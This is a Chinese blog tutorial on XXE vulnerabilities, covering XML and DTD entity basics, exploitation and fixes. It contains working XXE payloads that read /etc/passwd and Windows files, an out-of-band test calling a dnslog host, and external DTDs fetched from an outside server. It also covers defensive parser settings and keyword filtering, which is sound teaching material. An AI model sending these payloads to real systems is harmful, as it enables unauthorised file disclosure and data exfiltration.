浅析xxe漏洞攻防

XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

一、基础知识

1、xml

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

1
2
3
4
5
6
7
8
9
10
11
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>

<!--文档元素-->
<foo>&xxe;</foo>

2、DTD

DTD(Document Type Definition)即文档类型定义,作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

DTD一般认为有两种引用或声明方式:

  • 1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。

  • 2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。

DTD实体有以下几种声明方式

内部实体

1
<!ENTITY 实体名称 "实体的值">
1
2
3
4
<!DOCTYPE note [
<!ENTITY a "admin">
]>
<note>&a</note>

外部实体

1
<!ENTITY 实体名称 SYSTEM "URI">
1
2
3
4
<!DOCTYPE note> [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<note>&b</note>

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

image-20231026163559336

php安装扩展后还能支持的一些协议:

image-20231026163254349

参数实体

1
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">
1
2
3
4
5
<!DOCTYPE note> [
<!ENTITY % c "<!ENTITY c1 "awsl">">
%a;
]>
<note>&c1</note>
  • 参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
  • 其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用

外部参数实体

1
2
3
4
5
<!DOCTYPE note> [
<!ENTITY % d SYSTEM "http://xx.xx.xx.xx/evil.dtd">
%d;
]>
<note>&d1</note>
1
2
<!-- http://xx.xx.xx.xx/xml.dtd -->
<!ENTITY d1 SYSTEM "file:///etc/passwd">

二、XXE(XML External Entity)漏洞利用

1、任意文件读取

最简单也是最常用的利用方式
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。

直接读取

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE verf1sh [
<!ENTITY test SYSTEM "file:///d:/phpstudy_pro/www/1.txt">
]>
<user><username>&test;</username><password>verf1sh</password></user>

带外测试

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://k6hipq.dnslog.cn">
%file;
]>
<user><username>&test;</username><password>verf1sh</password></user>

外部引用实体dtd

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<user><username>&send;</username><password>verf1sh</password></user>
1
2
evil2.dtd:
<!ENTITY send SYSTEM "file:///etc/passwd">

三、XXE挖掘思路

XXE黑盒发现:

​ 1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试

​ 2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

​ 3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

XXE白盒发现:

​ 1、可通过应用功能追踪代码定位审计

​ 2、可通过脚本特定函数搜索定位审计

​ 3、可通过伪协议玩法绕过相关修复等

XXE修复方案

方案1-禁用外部实体

PHP

1
libxml_disable_entity_loader(true);

JAVA

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

参考链接

https://www.cnblogs.com/20175211lyz/p/11413335.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!